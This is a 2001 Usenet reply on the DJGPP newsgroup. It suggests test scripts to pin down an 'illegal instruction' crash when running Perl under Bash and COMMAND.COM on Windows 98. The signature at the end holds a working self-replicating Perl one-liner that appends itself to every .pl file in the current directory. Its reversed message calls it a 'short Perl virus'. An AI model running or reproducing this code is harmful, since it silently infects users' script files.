From: rpolzer AT web DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: Penalty for immature language (PERL/BASH) References: <8011-Fri02Mar2001123210+0200-eliz AT is DOT elta DOT co DOT il> X-newsgroup: comp.os.msdos.djgpp X-Mailer: GehtDichNenScheissdreckAn 1.0 User-Agent: GehtDichNenScheissdreckAn 1.0 Message-ID: User-Agent: slrn/0.9.6.2 (Linux) Date: Sun, 4 Mar 2001 10:05:50 +0100 Lines: 41 NNTP-Posting-Host: 213.7.27.132 X-Trace: 983696171 news.freenet.de 23181 213.7.27.132 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Daniel Barker schrieb Folgendes: > On Fri, 2 Mar 2001, Eli Zaretskii wrote: > > [snip] > > > Does a plain `$_` (i.e. without the loop) work, or does it crash as > > well? > > I find the program may be reduced to > > `poo` > > and it still shows the same problem. > > > What happens if you run your Perl script from COMMAND.COM, not from > > Bash? > > I still see an "illegal instruction" crash. Windows 98 attributes this to > MS-DOS Prompt rather than BASH. > > I should emphasize this problem is not a "showstopper" for me. But the > problem with this little example may indicate something more seriously > wrong (on my system, at least). Try putting something else into poo.pl: #!/usr/bin/perl print "POO.PL executed"; or #!/usr/bin/perl use constant C1 => 999; and then try to leave out the shebangs. -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################